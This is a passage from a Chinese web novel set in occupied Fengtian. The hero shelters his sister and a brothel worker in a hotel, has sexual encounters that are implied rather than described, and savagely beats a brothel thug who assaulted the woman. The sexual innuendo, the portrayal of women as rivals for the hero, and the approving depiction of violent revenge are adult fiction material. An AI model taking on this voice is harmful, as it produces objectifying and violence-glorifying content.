很多嫖客确实想借此机会浑水摸鱼不付账,又怎能听他们的劝阻。 “快让我们出去!” “火这么大,再不出去就烧死了!” “我们要出去!” “我们要出去!” 关之玲趁机在人群中大喊一声“楼上烧死人了!大家快跑啊!” 人群发出阵阵尖叫,大家一起往外冲,几个打手根本阻拦不住。 二楼的火势越来越大,火苗很快就蔓延到一楼。 李二狗从二楼跑下来,趁乱离开了怡红院。 “鲜儿妹子,你别着急,李先生很快就会赶过来和我们汇合的。” 鲜儿刻意保持着和关之玲的距离,在她的意识里,妓女都不是什么好女人,她不愿意和她们为伍。 看鲜儿一直不说话,关之玲冷笑道:“你是不是觉得做我们这行的都是下贱的女人?” 鲜儿心里确实认为妓女是下贱的女人,但她作为一名老师,她的职业不允许她口吐芬芳。 她冷冷地问道:“你和我哥……很熟吗?” “呵呵,”关之玲知道鲜儿话里隐含的意思,她故意说道:“都睡一起了,你说熟不熟?” “你……你……” 鲜儿被气得说不出话来。 正在这时,李二狗跑了过来。 “哥,你终于回来了。” 鲜儿故意扑到李二狗怀里,有一点向关之玲示威的意思。 关之玲是一个久经情场的女人,什么风浪没见过?她又岂能被一个小姑娘拿捏。 她嘴里“哎吆”一声,立刻以手扶头,像是要晕倒的样子。 李二狗见状,急忙放开鲜儿,上前扶住关之玲,关心地问道:“关小姐,你怎么了?” “李先生,”关之玲的声音嗲嗲的,“不知道怎么了,人家的头好晕。” “头晕?”李二狗摸了摸她的额头,“怎么会头晕呢?” “可能是刚才在怡红院的时候被烟熏着了。” “哎吆。” 这时,鲜儿也发出一阵呻吟,以手扶头做痛苦状。 “鲜儿,你怎么了?” “哥,我也头晕,真的好晕好晕。” 两个女人同时头晕,李二狗的头也晕了。 李二狗心想,关之玲和鲜儿都被烟熏的头晕,他不能带着她们再回到那个冰冷的仓库里过夜。 看着她们身上穿的衣服,是在怡红院的工作服,只注重样式,根本不注重保暖。 站在寒风凛冽的街头,两人都冻得有些瑟瑟发抖。 “关小姐,你有住的地方吗?” “没有啊,平时我一直都住在怡红院里。” “那你带证件了吗?” “带了。” 关之玲从身上掏出自己的证件,想到要离开怡红院,她除了把金银细软带在身上之外,还带了自己的证件。 在日本人统治的奉天,没有证件,简直寸步难行。 “走,我们去旅馆开个房间。” 李二狗和鲜儿已经被伪满政府和日本人通缉,他不能再拿着自己的证件去开房。 鲜儿怕关之玲听见,小声对李二狗说道:“哥,日本人在到处抓我们,这个时候去旅馆安全吗?” 李二狗也知道此时去旅馆很危险,但带着两个头晕的女人,他实在没有别的办法。 “没事,用她的证件登记。” “这……” “放心吧,哥心里有数。” 来到一家旅馆门前,李二狗把关之玲拉到一旁,贴近她的耳朵和她耳语一番。 关之玲听了“咯咯”直笑,忍不住伸手打了李二狗一拳。 “你坏死了!” “哼!” 鲜儿看到两人又是交头接耳又是打情骂俏,气得咬牙切齿,可又无可奈何。 关之玲扭着丰满的屁股进了旅馆。 鲜儿忍不住骂道:“狐狸精!就知道勾引男人。” 关之玲进入旅馆后,掏出一块大洋放在柜台上。 “开一间房!” 旅馆老板是一个五十多岁的男人,精瘦、秃顶,人显得很精明。 他抬头看了一眼关之玲,又看了看门外的李二狗和鲜儿,顿时明白了她们的关系。 一般客人开房,没有先付钱的。 他撇了撇嘴,故意问道:“小姐,你……一个人?” “老板,大家都是明白人,你就别装糊涂了,我们是一起的,快点开个房间。” “好好好,我这就给开,请小姐出示您的证件。” 关之玲把自己的证件掏出来放在柜台上,老板伸手拿起,打开看了看。 职业一栏写着怡红院舞女,老板笑了笑,接着说道:“外边那位先生和小姐也需要出示一下证件。” “我说你这个老板,可真没眼力劲,人家是在市政府做事的,喜欢低调,登记我一个人的证件就好了嘛。” 老板有些为难地说道:“这……日本人规定……” “规什么定?规定是死的,人也是死的吗?再说这么晚了,谁还会来查房?即使来查房,人家是市政府的,上面有人,你怕什么嘛?你要是不愿意,那我可就换别家了,一块大洋都不想挣,你和大洋有仇啊?” 老板赶紧道歉道:“好好好,我马上给你们开房。” 开完房,关之玲拿到钥匙,向李二狗挥了挥手,李二狗搂着鲜儿走进旅馆。 他微笑着向旅馆老板致意,然后又搂着关之玲一起上了楼。 旅馆老板忍不住感叹道:“这左拥右抱的,还是政府机关的人会玩啊!” 第536章 抓阄 来到旅馆房间门口,关之玲插入钥匙打开房门,三个人走了进去。 房间不大,陈设异常简单,除了一张桌子两把椅子之外,只剩下一张床。 床虽然足够大,但睡三个人还是有些拥挤。 “哥,你怎么只开一个房间?我不想和别人住在一个房间。” 鲜儿口中的“别人”指的是谁显而易见,肯定不是指李二狗。 李二狗劝道:“鲜儿,现在是特殊时期,还是克服一下吧。” 鲜儿故意说得很大声:“和那样的人睡在一张床上,我……我难受!” 因为鲜儿是李二狗的妹子,关之玲表现的一直很克制,现在她终于忍不住了。 “请你把话说清楚,我到底是哪样的人?” 鲜儿毫不示弱。 “你是哪样的人你自己心里不清楚吗?” “我不清楚!请你告诉我,我到底是哪样的人?”关之玲眼圈泛红,“为了帮助你们逃出来,我连工作都丢了,现在弄得有家不能回,你却还在这里抱怨!你以为我愿意和你住在一起吗?” “你要不愿意,你可以走啊!没人拦着你!” “呵呵,”关之玲冷笑两声,“大小姐,你是不是没有搞清楚状况?这个房间是用我的证件开的,如果有人要离开,也不是我吧?” “哼!那我走!” 鲜儿说着就要走,被李二狗一把拉住了。 “这都什么时候了,还耍大小姐脾气?” 李二狗话说的很重,鲜儿一下愣住了! 她没想到李二狗竟然为了一个妓女凶自己。 “哥,你凶我?我……” 鲜儿说着还要往外走,李二狗竟松开了他的手。 “你如果还想被抓进怡红院,你就出去!大不了我豁出性命再去救你一回!” 鲜儿的手停在半空,她背对着李二狗开始抽泣,哭得肩膀一抖一抖的。 屋内除了她的哭泣声,没有任何声音。 李二狗和关之玲对视一眼,关之玲暗示李二狗去劝劝她。 有时候女人明知道自己错了,也羞于承认,她需要一个台阶。 李二狗走向前,轻轻地拍了拍鲜儿的后背。 “好了,别哭了,等明天我会想办法离开这里,你头还晕吗?” 鲜儿突然转身,扑在李二狗怀里。 “哥,我错了。” “好了好了,知错就改还是好孩子,快别哭了,一会儿又该头晕了。” 鲜儿这才慢慢停止了哭泣。 “时间不早了,你们赶紧洗洗脸上床睡觉吧。” 关之玲看了看李二狗,又看了看床,三个人挤在一张床上,想想她都睡不着。 不过李二狗没有说怎么睡,关之玲也不好意思直接问。 等关之玲和鲜儿都洗漱完,两人站在床前,不知道该如何是好。 “你们两个睡床,我今晚在这张椅子上睡。” “那怎么行?”关之玲和鲜儿几乎异口同声道。 两人相互对视一眼,同时又给了对方一个白眼。 “晚上太冷了,你坐在椅子上怎么睡?连床被子都没有,会冻病的。” “我身体壮,没事的,”李二狗笑了笑,“一会儿我去向旅馆老板再要床被子。没事的,你们快睡吧。” “哥,要不然你还是到床上睡吧,咱俩盖一个被子。” 第537章 痛并快乐着 出人意料的是,李二狗提出的这个大胆想法,关之玲和鲜儿二人竟都没有出言反对。 本来李二狗只是想吓退她们,没想到她们竟同意了! 人家女人都不介意,李二狗也不好反悔。 他瞅瞅鲜儿,又看看关之玲,两个女人只有头露在被子外边,眼神里分明充满了期待。 李二狗深吸一口气,脱掉鞋和袜子便上了床。 他和衣平躺到她们中间,她们不由自主地把自己身上的被子往中间移了移,然后同时转头看向李二狗。 李二狗躺在床上,伸手把两床被子的一角盖在身上,他能明显感到到被子里的温热。 “好了,快睡吧,谁都不许再说话!” 尽管李二狗之前床笫之事经验丰富,但如今这种情况他还是第一次遇到,最棘手的是床上的这两个女人水火不相容。 李二狗躺在床上一动不敢动,他平时习惯右卧睡,可现在要是选择右卧,脸就会面向关之玲,在左侧的鲜儿肯定不会同意。 他明显能感觉到鲜儿在刻意压制着自己的呼吸声,而关之玲,则一切如常。 突然,李二狗感觉到右边有人把一只脚放在他的右腿上,右边睡的人是关之玲的脚,很明显,这只脚是她的。 李二狗无法判断关之玲到底是不是有意,所以他努力调整了一下自己的呼吸,然后把自己的右腿向左边靠了靠。 没想到关之玲穷追不舍,又把脚放在了他的右腿上。 显而易见,关之玲是在故意挑逗李二狗,当着鲜儿的面挑逗他! 李二狗明显感觉到自己身上有些发热,喉咙里痒痒的,像有什么东西堵在那里一样。 他怕鲜儿发现自己异常,身体一直保持着静止状态。 尽管他没有转头,但也能明显感觉到关之玲正在偷笑。 李二狗极力控制着,突然,关之玲的脚趾头开始在他的脚面上来回滑动,那种酥酥麻麻痒痒的感觉令李二狗喉咙滚动,狂咽口水。 他实在受不了了,所以故意咳嗽一声,然后又悄无声息地把自己的右腿往左边靠了靠。 奈何关之玲依然不死心,她又把自己的脚贴在李二狗右腿上,同时又用脚脚趾头在他的脚面上来回滑动。 李二狗真后悔刚才上床的时候脱掉袜子。 李二狗的性启蒙老师是春花,但真正让他成长为男人的是于兰芝。 是于兰芝手把手教会了他一切姿势和技巧,同时也教会了她如何拿捏女人。 对待女人,你越是躲着,越是无动于衷,她反而越上劲,必须主动出击才能成功攻下山头。 李二狗的手在被子里悄悄地移向关之玲,在触摸到她胸脯的那一瞬间,关之玲忍不住“啊”了一声。 李二狗忍住笑,故意问道:“关小姐,你怎么了?” 李二狗的这一摸实在是太突然了,关之玲吓了一大跳,但她很快便镇静下来。 “好像床上有蟑螂。” “啊!” 鲜儿突然大叫一声,立刻翻身扑到李二狗身上。 “哥,我……我最怕蟑螂了!” “啊!”关之玲紧跟着大叫一声,也扑到李二狗身上,“蟑螂又在咬我脚趾头!” 李二狗被两个女人同时压在身上,压得他喘不过气来。 “我……我快被你们两个人压死了!” 两个女人听到李二狗沉重的喘息声,这才不情愿地从他身上起来。 鲜儿躺在李二狗的左边,双手抱着他的一个胳膊不肯松手。 “哥,我真的好怕蟑螂,它不会咬我的脚趾头吧?” 李二狗心里觉得好笑,大冬天哪来的蟑螂? 这只不过是关之玲的戏谑之言,她竟当了真! 关之玲也学着鲜儿的样子,抱住李二狗的另一只胳膊不松手。 “李先生,蟑螂咬人可真疼,我好怕它再咬我的脚趾头。” 李二狗心想,一切都是你故意所为,竟然还在这里装无辜,看我怎么收拾你! 他好不容易从关之玲身子下面把右手伸出来,然后猝不及防地在她圆滚滚的屁股上掐了一把,她忍不住又“啊”了一声。 “蟑螂又在咬我脚趾头!好讨厌呀!” 李二狗强忍着笑,说道:“你要再这样叫,蟑螂下一次肯定会咬你咬得更狠!” 关之玲的身体在一动一动的起伏着,很明显她也在强忍着笑意。 她语带双关地说道:“它要是再敢咬我一下,我就捏碎了它!” 两个女人一边一个抱着李二狗的胳膊不松手,把他夹在中间动弹不得。 “哥,蟑螂不会真咬我的脚趾头吧?” 李二狗没法和她说床上没有蟑螂,不然关之玲刚才的叫声就会露馅儿。 “放心吧,蟑螂不咬香喷喷的脚,你快睡吧。” 关之玲“哼”了一声,幽幽地说道:“我的脚也不臭!哼!” “哼也没用,蟑螂分得清香臭!” 关之玲刚要反驳,李二狗说道:“谁都不许再说话,睡觉!” 大家这才闭了嘴! 也许是因为受到惊吓太累的缘故,鲜儿很快便响起了轻微的鼾声。 “她睡着了?” 关之玲边说边伸出舌头轻轻舔舐了一下李二狗的脸颊,撩拨的他浑身像着了火一般。 “你要是再不老实,我还让蟑螂咬你脚趾头。” “你来啊,我才不怕你呢!” 关之玲的热唇突然吻在他的唇上,李二狗一时只感觉口干舌燥,终于没有抵得住她的诱惑。 两个人缠吻在了一起。 睡梦中的鲜儿,双手依然紧紧地抱着李二狗的胳膊不松手。 李二狗怕惊醒了鲜儿,他的身体只好保持着仰躺的姿态,然后侧过头和关之玲接吻。 这姿势,一般人真的承受不住!痛并快乐着! 关之玲并不满足只和李二狗接吻,在接吻的过程中,她的手开始不安分起来,吓得李二狗赶紧闭紧了自己的嘴。 他低声说道:“你能不能老实一点?你这样会把她吵醒的!” 关之玲没有停止手上的动作,她在李二狗耳边轻声呢喃道:“怕了吗?嘻嘻,我就是故意的!” 说着,她把身体往下蜷缩,然后把头钻进了被窝里…… 第538章 姐夫,我是狗子啊 李二狗的身体就像沉入了深深的湖底。 他悬浮在湖水中,越想挣扎反而越是动弹不得。 满身的力气就像被一股神秘的力量牢牢地束缚住一般。 被窝里?嘘、呵、呼、呬、吹、嘻?。 不知道过了多久,关之玲才从被窝里露出了头。 “喜欢吗?” 她舔了舔嘴唇,一副意犹未尽的样子,额头上沁出一层细密的汗珠。 李二狗伸手抚摸了一下她潮红的脸颊,在她耳边轻声说道:“辛苦你了,改日我再好好疼你。” 关之玲娇滴滴地说道:“来日方长,我们以后有的是时间。” “时间不早了,快睡吧。” 李二狗左右两边各睡着一个人,自己则被挤在中间,身心遭到极大摧残。 好不容易关之玲睡着了,半夜里,鲜儿又被一个噩梦吓醒了。 “啊!” 鲜儿轻呼一声,从睡梦中醒来。 “怎么了?做噩梦了?” “哥,我梦到一个男人把我拽进一个巷子里,那里好黑好黑,地面好滑好滑,我真的好怕!” 这时,关之玲翻了个身,背对着李二狗又沉沉睡去。 李二狗终于可以好好舒展一下身体。 他转过身,面对着鲜儿,轻声安慰道:“别怕,哥在这里陪你,快睡吧。” 鲜儿蜷缩在李二狗怀里,就像一只乖巧的小猫。 “哥,你不要离开我好吗?” “哥不离开你。” “永远都不要离开我好吗?” “好,哥答应你,永远都不离开你。” 鲜儿露出孩童般的微笑,很快又沉沉睡去。 第二天李二狗醒来时,看到她们尚在睡梦之中,关之玲的嘴角还残留着一丝笑意。 李二狗起床出了门。 “先生,昨晚睡得还好吗?” 旅馆老板热情地和李二狗打招呼,脸上充满了艳羡的表情。 李二狗故意说道:“好极了,出了一夜的汗,哈哈。” 在旅馆老板震惊的表情中,李二狗走出了旅馆的门。 很快,他便提着一些鸡蛋、油条和白粥回到了房间。 此时,关之玲和鲜儿都已经起床,两人还是保持着默契,谁都不搭理谁。 “吃早饭了。” 李二狗把白粥倒在碗里,关之玲看了看白粥,又看向李二狗,向他投去一个意味深长的眼神。 李二狗全当没看见,招呼她们两个人吃早饭。 因为昨夜的事情,三个人都有些许尴尬,房间里的氛围显得有些沉闷,早饭很快便吃完了。 “我要出门办点事,你们两个待在房间里不要出去。” 鲜儿说道:“哥,我要和你一起去。” “不行!你一出门就会被日本人认出,乖乖待在房间里,我很快就回来了。” 想到要和关之玲待在一个房间里,鲜儿就感觉浑身不自在。 第539章 先生,您别让我为难好吗? 金凤仙是个人精,她立刻心领神会,马上摆出一副傲慢的姿态。 “我说你们这些人呐,都是一些八竿子打不着的亲戚,平时八百年都不来往,现在张嘴就来借钱,你以为我们家老王是开银行的吗?没有,一块钱都没有,你快走,以后别再来了!” “表姐,你可不能六亲不认啊!咱们都是实在亲戚!我听我娘说,你小时候还吃过她的奶。” 李二狗演的实在是太逼真,差点把金凤仙都逗笑了。 她强忍着笑意,对王满银抱怨道:“你看看现在都几点了,还不去上班?走的时候别忘了把院门关上,别让闲杂人等进来打扰我,我要进去睡个回笼觉。” 金凤仙说完就转身进了屋,进门时还不忘回身给李二狗抛了一个媚眼。 “好了,好了,你快走吧。” 王满银推开李二狗,关上院门,提着公文包去上班了。 “姐夫,你们实在是太无情无义了。”李二狗在身后不满地大声喊道。 王满银仿佛没听见一般,头也不回地走了。 李二狗站在院门前,心里默默数着数,果然刚数到六,院门就打开了。 “你去前面胡同里等我,我先把家里佣人打发走,一会儿你再进来。” 李二狗这次来,本来只是打算和金凤仙说一说让她帮忙出城的事,没想到她还要和自己深聊。 “那你快一点。” 金凤仙妖媚地说道:“看你这猴急的样,五分钟之后你再来。” 李二狗是事情急,金凤仙还以为他是猴急。 他转身走到不远处的一个胡同口等待着,果然不到五分钟,一个佣人便提着篮子走了出去。 他无奈地笑了一声,向院门口走去。 刚要敲门,院门已经从里面打开了。 “快进来,我们时间不多。” 李二狗昨夜憋屈了一夜,此时已经有些把持不住自己了。 “时间不多有时间不多的打法,你就等着放声高歌吧。” “你讨厌!” 金凤仙笑得胸脯子都要跳将出来了。 李二狗抱着金凤仙就进了屋。 一时间炮声隆隆、山河呜咽…… 事后,金凤仙依偎在李二狗怀里。 “二狗,我感觉自己以后再也离不开你了!” 金凤仙三十多岁,比于兰芝还要大一些,正是如狼似虎的年纪,床上的表现力也非常的出类拔萃,确实很对李二狗的脾气。 但李二狗绝非只是一个贪婪女色的男人,他还有很多正经事要做。 “凤仙,有机会我会常回来看你的,但现在我必须马上出城,日本人正在到处搜捕我们,我不能留下连累了你啊。” 金凤仙心中万般舍不得让他走,但也不敢留他,她知道日本人的那些手段。 “今天就走吗?” “对,越快越好。” 金凤仙想了想,说道:“那就今天下午吧,我带你们出城。” 李二狗犹豫了片刻还是说道:“凤仙,我们现在是三个人。” “三个人?多出来的那个人是谁?不会又是你妹子吧?” 李二狗心中早已想好了说辞。 “是我妹子的朋友,你放心,她没有什么问题,只是想跟着我们一起出城。” “那好吧,今天下午三点钟,咱们在城西的春来茶馆门口见。” “好,我一定准时到。” 金凤仙看时间还有一些富余,又像水蛇一般缠绕在李二狗身上…… 回到旅馆的时候,关之玲还没有回来。 “哥,你总算回来了。” “关小姐还没有回来吗?” “管她做什么?可能人家舍不得那份工作又主动留下了。” 李二狗担心关之玲出事,便说道:“我出去看看。” “哥……” 李二狗不顾鲜儿的阻止,径直出了旅馆,直奔怡红院。 来到怡红院附近,出乎李二狗意料的是,它并没有烧毁,从外观上看,几乎看不到着火的痕迹。 李二狗走近怡红院门口,看到一楼大堂里面有很多人正在忙忙碌碌地搬运东西,二楼黑乎乎的一片,确实已经烧得面目全非。 那关之玲去哪了? 李二狗瞥见一楼大堂有几个打手,难道关之玲被他们关押起来了? 想到这,他直接走了进去。 一个服务员正拿着扫帚清扫地上的烟灰。 “先生,我们今天不营业!您改日再来吧。” 李二狗问道:“怎么回事?昨晚我走的时候还好好的。” “昨天半夜二楼着火了,今天没法营业了。” “着火了?”李二狗表现得很震惊,“烧死人没有?” 服务员警惕地看了一眼李二狗,说道:“这个我就不知道了。” “关之玲在哪?我昨晚已经和她约好了今天再来找她。” “先生,我们最近都不能营业了,您还是过几天再来吧。” 李二狗脸色一变,气愤地说道:“钱都付了,你让爷等几天?不行,我不想等,你去把关之玲给我找来。” 服务员不想和李二狗纠缠,便说道:“那您稍等,我去问问我们经理。” 不一会儿,一个打手向李二狗走了过来。 “先生,对不起,我们最近不营业,请您过几天再来吧,您放心,您付的钱我们这里都有记录,一定不会让您吃亏的。” 李二狗说道:“爷在乎那点钱吗?爷需要的是释放,去把关之玲找来,爷要带她出去,大不了多付你们一些钱就是了。” 如果他们说找不到关之玲,或者直接把关之玲叫来,李二狗倒放心了。 可现在只是找借口不让见,说明里面肯定有猫腻。 即使怡红院现在不能营业,也断没有不让客人接触舞女的道理。 “先生,我们这里马上要清理二楼的垃圾了,请您还是先离开吧,别呛着您。” 越不让见,越说明有问题。 “把你们经理给爷叫出来,今天爷一定要见到关之玲,见不到她,爷就不走了!” 李二狗一屁股坐在落满灰尘的沙发上,态度极其傲慢。 打手极力克制着自己的脾气。 “先生,您别让我为难好吗?” 李二狗“噌”的一声站起身来。 “爷就为难你了,你能咋地?!” 第540章 关之玲挨打 因为失火的事情,打手们被经理骂的狗血喷头,他们此时正有气没地方撒。 李二狗的找茬行为让他们大为光火,四五个打手就围了上来。 李二狗打量了一下围上来的这几个打手,看身形都是一些平时喜欢爱打架斗殴的角色,李二狗的身手对付他们几个绰绰有余。 “怎么?要打爷吗?你们动爷一根手指头试试?” 一个打手上前揪住李二狗的衣领,警告道:“你要是识相的就赶紧离开,否则老子让你血溅当场!” “你们怡红院就是这样对待客人的吗?这要传出去,以后谁还敢来?看门狗想咬人,我看你他娘的还缺副好牙口!” “你……” 打手挥起拳头就要打向李二狗的脸颊。 “住手!” 身后突然传来一个女人的喝止,打手转头看了一眼,立即放开李二狗,恭敬地双手垂立。 “太太!” 李二狗看向那女人,皮肤白皙、身材丰满,鹅蛋脸、樱桃口,柳叶眉,那前凸后翘的样子,不是别人,正是王玉娇的母亲于婉清。 于婉清是在昨天夜里听到怡红院着火的消息,因为王有为不方便出面,所以她一大早就从家里赶了过来。 刚才她听到这边的争吵声,从远处第一眼就认出了李二狗。 “太太,他……” “啪!”于婉清抬手给了这个打手一个大嘴巴子,“给我滚!” 几个打手灰溜溜地走了。 于婉清又恢复了往常雍容华贵的气质。 “李先生,真是想不到会在这里遇见你!” “王太太,真是想不到会在这里遇见你!” “平常在家闲着没事,就开了这么个店打发打发时间,李先生是这里的常客吗?” 于婉清说完似笑非笑地看着李二狗。 李二狗作为王玉娇带回家的朋友,如果他是这里的常客,她是绝对不允许自己的女儿和这样的男人交往的。 “我想王太太是误会了,我是从关内来东北做生意的,我和你们这里的一个……服务人员是失散多年的朋友,昨晚我和她约好,今天特意过来找她叙叙旧。” “奥?”于婉清显然不太相信李二狗的话,“她叫什么名字?” “关之玲。” 于婉清平常不大来怡红院,对于关之玲这个名字并不是十分熟悉。 “你过来。” 于婉清向不远处的一个打手招了招手,打手马上屁颠屁颠地跑了过来。 “太太,您有什么吩咐?” “去把关之玲叫过来。” 打手面露难色,一副手足无措的样子。 “愣着做什么?赶紧去把她叫过来!” “太太,”打手走近于婉清,低声道:“关之玲她……现在不太方便。” “怎么不方便?烧死了还是烧伤了?” “不是,是……”打手欲言又止,看了一眼李二狗,“她……” “别吞吞吐吐的,只要没烧死就叫她过来,快去!” 打手没有办法,只能转身离开了。 不一会儿,关之玲跟在一个打手后面从一个房间里走了出来。 她看到李二狗,顿时眼泪就流了下来。 她的脸上青一块紫一块,眼眶周围高高肿起,头发凌乱,嘴角还残留着血迹。 李二狗的心一下子被揪了起来。 但碍于于婉清在场,李二狗不能表现的太异常。 “关小姐,你这是怎么了?” 关之玲紧咬嘴唇,全身抖如筛糠,一句话也说不出来。 于婉清转身看到关之玲鼻青脸肿的样子,顿时觉得丢了脸面。 “她怎么回事?谁打的?” 打手眼神躲闪着,变得吞吞吐吐起来。 “去把你们经理叫来!” 打手如释重负,马上去叫经理。 “李先生,我们怡红院从来没有发生过这种事情,让你见笑了。” 李二狗很想抱住关之玲,他知道此时她肯定需要自己的安慰,但他不能这样做。 “呵呵,那我真是很荣幸,有幸能见到以前从来没有发生过的事情。” 于婉清从第一眼见到李二狗,就对这个男人心生好感,她不想自己在李二狗心中留下不好的印象。 “让李先生见笑了,我一定会把这件事调查清楚的。” “关小姐的家人曾经对我有恩,没想到今天在王太太的地盘上遭到如此粗暴对待,我一定要为她讨回一个公道。” 正在这时,怡红院经理跑了过来。 “太太!您找我?” “她怎么回事?谁打的?客人吗?” 经理是一个中年男人,长得虎背熊腰,但在于婉清面前却像一只哈巴狗。 “太太,这事我待会儿单独向您汇报。” 李二狗目光冷冷地看着于婉清,让她没有办法躲避。 “李先生不是外人,有什么话就在这里说,鬼鬼祟祟地干什么?” 经理没有办法,只好说道:“老八早上和她产生了一点冲突,不过这都是误会,现在已经解释清楚了。” “老八是谁?这都是他打的?” “老八就是刀疤脸,是他打的,我已经批评过他了。” 李二狗走到关之玲面前,她双眼红肿,眼里仿佛有千言万语要对他讲。 “关小姐,你自己说,到底是怎么回事?” “他想占我便宜,我不愿意,他就打了我。” 原来今天早上,关之玲来到怡红院,刚进门就遇到了打手的领班老八。 老八因为失火的事情心烦意乱,又喝了不少酒,见到关之玲挺着大胸脯进来便有些精虫上脑。 他不由分说便拉着关之玲去他屋里,想在她身上发泄发泄。 这要放在以前,关之玲就硬着头皮答应了,她不敢得罪老八。 可现在她心里已经有了李二狗,又怎会愿意让老八骑在身上肆意蹂躏。 她当即予以拒绝。 整个怡红院的妓女还没有人敢拒绝老八,正在气头上的老八怎能受这种气! 他当场就打了关之玲一个耳光,质问她到底愿意不愿意。 关之玲依然强硬地予以拒绝。 老八彻底被关之玲惹恼了! 他把关之玲按在地上摩擦,打的她鼻青脸肿,要不是经理怕闹出人命前来劝架,此刻,关之玲很可能已经被老八活活打死了! “王太太,我想见见这个老八。” 第541章 李二狗替关之玲出头 王太太正好想试一试李二狗的硬度,便对经理说道:“马上去把老八叫来!” 关之玲拉了一把李二狗,低声说道:“二狗,老八的脾气很暴躁,你还是别惹他了。” 尽管关之玲的声音极其轻微,但“二狗”二字还是清晰地传到于婉清耳中。 她竟然叫这个男人“二狗”,可见二人的关系的确非同一般。 于婉清竟有一丝醋意涌上心头。 “放心吧,我心里有数。”李二狗轻声安慰道。 他那埋藏在眼中的怜惜更加令于婉清醋意翻涌。 “太太!” 老八身高近六尺,长得虎背熊腰、面肉横生,正所谓脸上横肉生,凶狠藏心中,这人一看就不是善茬! 于婉清看了一眼老八,这样粗糙的男人根本入不了她的法眼。 “你就是老八?” “是的,太太,您找我有什么吩咐?” 于婉清指了指关之玲。 “这是你打的?” 老八不紧不慢地说道:“太太,她不服从店里的安排,我只是给了她一点教训……” “哐!” 老八话未说完,李二狗一记重拳已打在他的下颌处。 这一拳换作其他人,肯定会整个身子都飞出去,但老八只是往后踉跄了两步,并没有摔倒,果然是个狠人。 他伸手揉了揉自己的下巴,朝地上吐出一口血水,里面竟混合着两颗牙齿! “你他娘的竟敢打老子?真是活得不耐烦了!” 老八挥起拳头就要反击,却被于婉清喝住了。 “住手!” 老八拳头举到半空,停住了! 他即使脾气再暴躁,也不敢得罪于婉清。 李二狗微微一笑,对于婉清说道:“王太太,如果您不介意,我想替您调教调教您的这个手下。” 于婉清刚才之所以阻止老八动手,主要是担心李二狗面对人高马大的老八会吃亏,却没想到他竟表现的如此气定神闲,这才放下心来。 她倒要看看,这个李二狗究竟有多大的本事。 “李先生,那你请随意吧!” 李二狗轻蔑地看着老八。 “我先让你三招!” 老八还从未被人如此轻视过,面对自己的老板和手下的目光,他发誓要好好教训教训眼前这个不知天高地厚的家伙。 突然,楼板被踩得咚咚作响,老八像一头黑熊似的直向李二狗扑过来,蒲扇大的手掌带着一股强劲的风扫向李二狗的脸。 面对老八的攻击,李二狗不闪不避,他猛地沉下腰,左手顺势攥住对方的手腕,右手攥紧拳头,照着老八的肋下就是一记重击。 “嗷!” 老八疼得闷哼一声,另一只手又抡过来,想把李二狗掀翻。 李二狗借着他的力道,顺势往旁边一拧,老八三百斤的身子顿时失去平衡,“哐当”一声撞在一张八仙桌上。 桌上的茶碗碎了一地,木桌腿直接断成两根。 关之玲站在旁边,几根手指交叉在一起,嘴唇都快咬破了却没有出声。 她见过老八曾经一拳打晕过一头牛,此刻却看李二狗像遛狗似的,在老八扑过来时,总能轻巧避开,反手就是一下。 老八急了,红着眼抓住旁边的条凳,举起来就往李二狗头上砸。 李二狗脚下一滑,像泥鳅似的从他腋下钻过去,同时伸脚勾了他脚踝。 老八“噗通”一声摔了个狗啃屎,条凳砸在地上,顿时裂成两半。 “你这瘪犊子竟敢阴老子!” 老八从地上爬起来,嘴角淌着血,扑上来抱住李二狗的腰,想把他勒断气。 李二狗被勒得胸口发闷,却突然抬手,用手肘照着老八后脑勺狠狠地磕了两下。 老八的手稍微松了松,李二狗趁机挣脱,转身一记飞踹,正踹在他的心窝上。 老八像一个破麻袋似的倒飞出去,身体重重地撞在墙上,震得墙壁上的墙皮簌簌往下掉。 他刚想爬起来,李二狗已经冲过去,抬脚踩住他的脸,把他死死钉在地上。 “服不服?”李二狗的声音冰冷,脚下加了力,老八的脸被碾在碎瓷片上,血混着泥水往下淌。 “你……你给老子等着……” 老八还想放狠话,李二狗又跺了跺脚,他顿时疼得嗷嗷直叫,嘴里不敢再言语。 李二狗却没松脚,眼里的狠劲越来越重。 他看了一眼鼻青脸肿的关之玲,恨得牙痒痒,此刻踩着他那张肥脸上,只觉得还不够解气。 “李先生!”于婉清终于忍不住开口,声音带着颤音,“别打了!再打就出人命了!” 李二狗的脚顿了顿,低头看了看地上像死猪似的老八,又回头见关之玲脸色发白,这才缓缓松了脚。 老八趁机想爬,又被李二狗一脚踢在肋下,他顿时蜷成一团,再也动不了了。 “想让我饶了他,他必须给关小姐道歉,否则我一定打断他的腿,踩烂他这张丑陋的脸。” 于婉清命令道:“老八,你还不道歉?!” 老八没想到李二狗身手如此厉害,即使他不想在于婉清面前认怂,但也没有其他办法。 好汉不吃眼前亏,这个道理他还是懂得。 “我道歉,我道歉!” 李二狗这才抬起脚,呵斥道:“马上去给她道歉!” 老八爬到关之玲面前,再也没有了往日的嚣张模样。 “对不起,我错了!” 李二狗一脚踢在他的屁股上。 “磕头认错!” 老八六尺高的汉子,此刻也只能跪在地上,向关之玲连磕了三个响头。 “滚!” 老八连滚带爬地逃走了。 李二狗甩了甩手上的血,走到关之玲面前,他脸上的戾气渐渐退了一些。 “刚才吓到你了吧?” 关之玲摇摇头,递过一个手帕。 “你刚才下手太狠了,要是真把他打死了可怎么办啊?” 话虽这么说,但她眼里却藏着无比的崇拜。 她见过太多逞凶的男人,却没见过像李二狗这样,看似清瘦,动起手来却干净利落,狠得让人胆寒。 李二狗接过手帕擦了擦指缝里的血。 “这种人,不打服他,以后他还会作妖。” 于婉清见他俩亲昵的样子,醋意又涌了上来。 “李先生身手如此了得,可真是令人佩服啊!” 第542章 懂事的女人 李二狗微微一笑,知道这是于婉清的揶揄之语。 “王太太,刚才没忍住,我下手重了些,还请你见谅。” “都是一些不知轻重的家伙,我还要谢谢你替我教训他们,我们作为服务行业,服务意识永远是第一位的。” 于婉清是一个任何时候都举止非常优雅的女人,但李二狗总觉得她有些假。 李二狗很好奇,她在床上难道也是如此优雅吗? 那实在是太没有情趣了。 “王太太,如果没有什么事我想带着关小姐去看看医生,可以吗?” 于婉清先是一愣,两腮的肌肉不自觉动了一下,但还是保持着惯有的优雅。 “关之玲是我们店里的人,医药费理应由我们店里出。” 李二狗笑道:“还是把医药费留给老八吧,告辞。” 他扶着关之玲离开了怡红院。 “李二狗……”于婉清嘴里念叨着李二狗的名字,“你到底是什么人?!” 李二狗和关之玲刚走出怡红院的门,关之玲就再也控制不住了。 